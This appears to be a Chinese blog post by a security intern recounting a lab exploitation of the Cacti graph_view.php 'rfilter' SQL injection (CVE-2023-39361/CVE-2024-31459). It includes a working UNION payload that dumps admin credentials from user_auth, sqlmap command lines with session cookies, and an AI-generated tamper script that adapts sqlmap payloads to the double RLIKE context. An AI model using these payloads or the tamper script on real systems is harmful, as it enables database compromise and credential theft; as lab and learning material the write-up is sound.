利用sqlmap尝试注入Cacti graph_view.php SQL注入导致远程代码执行漏洞(CVE-2023-39361/CVE-2024-31459)
笔者是实习生,在公司实习的任务是利用sqlmap打靶场,收集攻击数据。本以为是个简单的工作,一开打发现不对劲,手动打跟着教程一次成功,sqlmap打就都是问题了。下面开始复现我的实验之路。
一:最初的手工注入
Cacti是一个全面的网络图形化解决方案,旨在利用RRDTool的数据存储和图形功能,为网络管理员提供直观的界面来监控和分析网络性能数据。
在Cacti 1.2.24及更早版本中,graph_view.php文件存在一个严重的漏洞,当启用guest用户时,未经任何身份验证的攻击者通过'rfilter'参数即可执行SQL注入攻击,最终可能导致远程代码执行。
参考链接:
执行以下命令启动Cacti 1.2.24服务器:
docker compose up -d
服务器启动后,访问http://your-ip:8080进入Cacti界面。默认凭据为admin/admin。
请以管理员身份登录并按照初始化说明进行操作。只需重复点击"下一步"按钮,直到看到成功页面。
该漏洞位于graph_view.php文件中的grow_right_pane_tree函数内。当action参数设置为'tree_content'时,用户输入的rfilter参数由html_validate_tree_vars函数验证。然而,这种验证仅确保输入是有效的正则表达式,无法防止SQL注入。
要利用此漏洞,向graph_view.php端点发送带有以下参数的请求:
http://your-ip:8080/graph_view.php?action=tree_content&node=1-1-tree_anchor&rfilter=aaaaaaa"%20OR%20""="(("))%20UNION%20SELECT%201,2,(select%20concat(id,0x23,username,0x23,password)%20from%20user_auth%20limit%201),4,5,6,(select%20user()),(select%20version()),9,10%23
可见,数据库信息和管理员账号密码已被爆出:

二:sqlmap尝试
直接把url放入,命令:
python sqlmap.py -u http://192.168.1.1:8000/graph_view.php?action=tree_content&node=1-1-tree_anchor&rfilter=aaaaaaa
sqlmap挨个尝试了三个注入点,那肯定不行啊。当时一脸懵,sqlmap该如何指定注入点呢,AI说在-u的url参数里的注入点添加*,sqlmap会自动确定此处是注入点。经过尝试,还是不行。
python sqlmap.py -u http://192.168.1.1:8000/graph_view.php?action=tree_content&node=1-1-tree_anchor&rfilter=aaaaaaa*
三:继续尝试
上面的测试只是笔者进行的一部分,之后还进行了加参数,减参数,改参数,调节level等级,risk等级等等操作,level和risk都开到最大(5,3)除了时间更长也没啥结果。
后面笔者端详了手工注入的payload,发现好像是"%20OR%20""="(("))%20的问题,把"%20OR%20""="(("))%20也包含在url里面,进行尝试,不行,sqlmap识别不出来。
之后在AI的帮助下,找到一个新的方法,--prefix和--suffix。--prefix可以在sqlmap拼接payload的时候在payload前面添加数据(--prefix “ ”);--suffix实在payload之后添加数据(--suffix “ ”)。
然后就是各种改命令,各种尝试

还有--prefix “"%20OR%20""="(("))%20” -p “rfilter” --suffix “#” 这种情况下sqlmap的payload会在"%20OR%20""="(("))%20之后进行闭合符测试,删减一个)应该也能成功,不过我当时忘了用--cookie,没有成功过。(经尝试,无法成功<Payload结构不匹配与OR布尔注入的限制:资料明确指出,--prefix 和 --suffix 参数在“OR布尔注入”场景下可能不生效 。sqlmap生成的用于OR布尔注入测试的Payload(例如 OR 1=1)可能无法与您手动构造的、依赖于注释符#来截断后续SQL语句的复杂结构良好结合。工具无法成功构造出类似 " OR ""="(("))UNION... # 这样能正确处理RLIKE双重查询的特殊Payload>)
然鹅还是那样,不行。不过你们发现没,-v参数真好用,可以将sqlmap的payload和其他信息显示出来:
0:只输出 Python 出错回溯信息,错误和关键信息。
1:增加输出普通信息和警告信息。
2:增加输出调试信息。
3:增加输出已注入的 payloads。
4:增加输出 HTTP 请求。
5:增加输出 HTTP 响应头
6:增加输出 HTTP 响应内容。
使用等级 2 能更好地了解 sqlmap 内部实现了什么,尤其是在检测阶段和使用接管功能时。如果你想知道 sqlmap 发送了什么 SQL payloads,等级 3 是最佳选择。
(这时候笔者是真没招了,已经想去去修改sqlmap源码了,还专门学习了一些,不过这种sqlmap高级用法网上资料非常少,根据AI搜集到的资料得知:sqlmap的payload不是固定写死的,它是分为好几个.xml文件
如图所示,其中几个是sql注入的不同方式,布尔盲注,延时注入等等,里面的各种<test>标签是拼接不同payload的原材料,只有这些肯定是不够的,还有
这些文件一起联动才能拼成一个完整的payload。
这个过程可以概括为以下步骤:
-
遍历与匹配:SQLMap在执行检测时,会遍历
payloads.xml中的每一个<test>条目 。对于每一个<test>,它会再去遍历boundaries.xml中的所有<boundary>条目。 -
匹配条件:一个
<test>和一个<boundary>能够成功匹配并组合的前提是,满足两个关键的子标签匹配条件 :-
<boundary>的<clause>节点值必须包含<test>的<clause>节点值。 -
<boundary>的<where>节点值必须包含<test>的<where>节点值。
-
-
组合生成Payload:一旦匹配成功,最终的注入Payload将由两者的内容拼接而成。其基本公式为: 最终Payload =
boundary.prefix+test.payload/vector+test.comment+boundary.suffix
其中,<boundary>主要定义注入的“边界”问题,如闭合前后缀(prefix, suffix)、注入点在SQL语句中的位置(clause,如WHERE, HAVING)等。而<test>则定义了注入的“核心”逻辑,即真正的攻击向量和验证方式。
ps:各种标签的不同作用我让mitaAI给我生成了一份,发布在下一个文章里。
)
笔者并没有真的尝试这种修改,毕竟咱也只是初学者,还没搞懂sqlmap的运行机制,本来是打算实在没办法了再去试试,所以目前还没有尝试,以后会进行学习的。
四:重头戏
后来我实在没办法了,就请教了我师傅,我师傅让我多看看源码,带我分析了源码(笔者没有开发的经验,对开发可以说一窍不通,我师傅被我气的血压都高了。。。)花了一晚上总算坑坑歪歪的找到了发生注入漏洞的源码:
$nav = html_nav_bar($config['url_path'] . 'graph_view.php?action=tree_content&tree_id=' . $tree_id . '&leaf_id=' . $leaf_id . '&node=' . get_request_var('node') . '&hgd=' . $host_group_data, MAX_DISPLAY_PAGES, get_request_var('page'), get_request_var('graphs'), $total_rows, get_request_var('columns'), __('Graphs'), 'page', 'main');
和手工注入的payload进行对比:
graph_view.php?action=tree_content&node=1-1-tree_anchor&rfilter=aaaaaaa"%20OR%20""="(("))%20UNION%20SELECT%201,2,(select%20concat(id,0x23,username,0x23,password)%20from%20user_auth%20limit%201),4,5,6,(select%20user()),(select%20version()),9,10%23
才算是真正知道注入点是什么。
这是AI分析的结果:
通过对该代码的深入分析,我们可以得出以下关键信息:
- 注入点(Injection Point) :HTTP GET请求中的
rfilter参数。 - 注入上下文(Injection Context) :用户的输入被直接放置在双引号(
")内,作为MySQLRLIKE(正则表达式匹配)操作符的模式字符串。 - 核心挑战:双重使用(Double Usage) :
get_request_var('rfilter')被调用了两次,意味着您提供的任何Payload都会被原封不动地插入到两个RLIKE子句中。这极大地增加了构造有效SQL语句的难度。一个简单的闭合Payload(如test" --)会成功闭合第一个RLIKE,但会导致第二个RLIKE子句产生语法错误。
最终形成的SQL语句结构大致如下:... WHERE ... (gtg.title_cache RLIKE "[用户输入]" OR gtg.title RLIKE "[用户输入]")
Payload原文: aaaaaaa"%20OR%20""="(("))UNION%20SELECT%201%2C2%2C3%2C4%2C5%2C6%2C7%2C8%2C9%2C10%23
让我们对其进行解码和分步解析:
-
Payload:
aaaaaaa" OR ""="(("))UNION SELECT 1,2,3,4,5,6,7,8,9,10# -
第一部分:
aaaaaaa"aaaaaaa是无意义的填充字符。"是关键,它用于闭合第一个RLIKE子句左侧的双引号。- 此时,SQL语句的第一部分变为:
... (gtg.title_cache RLIKE "aaaaaaa"
-
第二部分:
OR ""="(("))- 这是一个非常聪明的构造,其目的是在第一个
RLIKE和第二个RLIKE之间插入一个语法上有效且逻辑上可控的部分。 OR引入一个新的逻辑条件。""="(("))是一个恒为假的表达式(空字符串不等于字符串"(("),其作用是作为语法“粘合剂”,确保在UNION查询之前整个布尔表达式是合法的。其本质与OR 1=2类似。
- 这是一个非常聪明的构造,其目的是在第一个
-
第三部分:
UNION SELECT 1,2,3,4,5,6,7,8,9,10- 这是经典的联合查询注入,表明原始查询语句返回10个字段。
-
第四部分:
##是MySQL中的注释符,它将从此处开始到语句末尾的所有内容都注释掉。这是整个Payload能够成功的决定性因素。
将Payload代入原始代码后,我们来重构最终执行的SQL语句:
注入后的SQL语句:
... (gtg.title_cache RLIKE "aaaaaaa" OR ""="(("))UNION SELECT 1,2,3,4,5,6,7,8,9,10#" OR gtg.title RLIKE "aaaaaaa" OR ""="(("))UNION SELECT 1,2,3,4,5,6,7,8,9,10#")
由于#的存在,MySQL实际执行的语句是:
... (gtg.title_cache RLIKE "aaaaaaa" OR ""="(("))UNION SELECT 1,2,3,4,5,6,7,8,9,10
#将其后的所有内容,包括" OR gtg.title RLIKE ...以及最外层的右括号)全部注释掉了,从而避免了因双重参数代入而引发的语法错误,并成功执行了UNION查询。
总结一下,注入点是rfilter,不过sqlmap不会在注入点之后进行OR ""="(("))测试,需要操作者自己添加,笔者现在认为有两种方式可以成功。
第一种是--prefix和--suffix,我上文已经说过了,不过多赘述了。(
sqlmap -u "http://<target>/graph_view.php?action=tree_content&node=1-1-tree_anchor&rfilter=a" -p "rfilter" --prefix='"OR ""="(("))' --suffix='# ' --level=5 --risk=3 --technique=U -v 3 --dbs
)此处不成立,无法成功,原因是:Payload结构不匹配与OR布尔注入的限制:资料明确指出,--prefix 和 --suffix 参数在“OR布尔注入”场景下可能不生效 。sqlmap生成的用于OR布尔注入测试的Payload(例如 OR 1=1)可能无法与您手动构造的、依赖于注释符#来截断后续SQL语句的复杂结构良好结合。工具无法成功构造出类似 " OR ""="(("))UNION... # 这样能正确处理RLIKE双重查询的特殊Payload
第二种是写一个temper脚本,脚本的功能就是给sqlmap的payload拼接字符,在这种情况下我终于成功了。
脚本是AI生成的,很简单:
#!/usr/bin/env python
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.NORMAL
def dependencies():
pass
def tamper(payload, **kwargs):
"""
Wraps payload for a specific double RLIKE injection.
It closes the first RLIKE with a quote, injects a UNION query,
and comments out the rest of the SQL statement.
This tamper script is specifically designed for the described scenario.
Example:
>>> tamper('1 UNION SELECT 1,2,3')
'" OR ""="(("))UNION SELECT 1,2,3#'
"""
# 检查payload是否为空
if payload:
# 模仿手动payload的结构,但将核心注入部分替换为sqlmap的payload
# prefix: " OR ""="(("))
# suffix: #
# 注意:这里的OR ""="(("))是为了语法完整性,但通常sqlmap的payload本身就能构成完整的逻辑单元
# 一个更简洁、通用的方式是直接闭合和注释
# 简洁版:直接闭合和注释,依赖sqlmap的payload
# return f'"{payload}#'
# 完整模拟手动Payload版:
# 如果sqlmap的payload不带UNION,我们可能需要自己加
# 但通常sqlmap在UNION注入测试时会自带UNION SELECT
# 这里的`OR ""="(("))`部分可以视情况省略,因为sqlmap的payload通常以AND/OR开头或直接是UNION
# 为了最大程度地模拟手动Payload,我们保留它
retVal = f'" OR ""="((")){payload}#'
return retVal
else:
return payload
将代码复制粘贴到sqlmap的temper文件里
![]()
然后直接开爆:
python sqlmap.py -u "http://192.168.152.247:8081/graph_view.php?action=tree_content&node=1-1-tree_anchor&rfilter=" -p "rfilter" --tamper="double_rlike.py" --level=5 --risk=3 -v 3 --dbs --output-dir=E:\sqlmap-librity --proxy="http://127.0.0.1:8080" --cookie="CactiDateTime=Wed Nov 05 2025 16:39:12 GMT+0800 (ä¸å½æ åæ¶é´); CactiTimeZone=480; Cacti=1864063c2670f6412af0fa9dc2c2bfae; cacti_remembers=1%2C0%2C57ab9fac9524374b018b3759e9dddeb0845e0bbb49746188b720598a8b96e0e1"
(
--proxy="http://127.0.0.1:8080"这是代理,利用burp suite,没开burp就删除这段,不然会报错
一定一定记住要加cookie,我就是在这掉坑里了。
)
结果:
这就是笔者在这个靶场的全部记录,有问题请指正。
更多推荐



所有评论(0)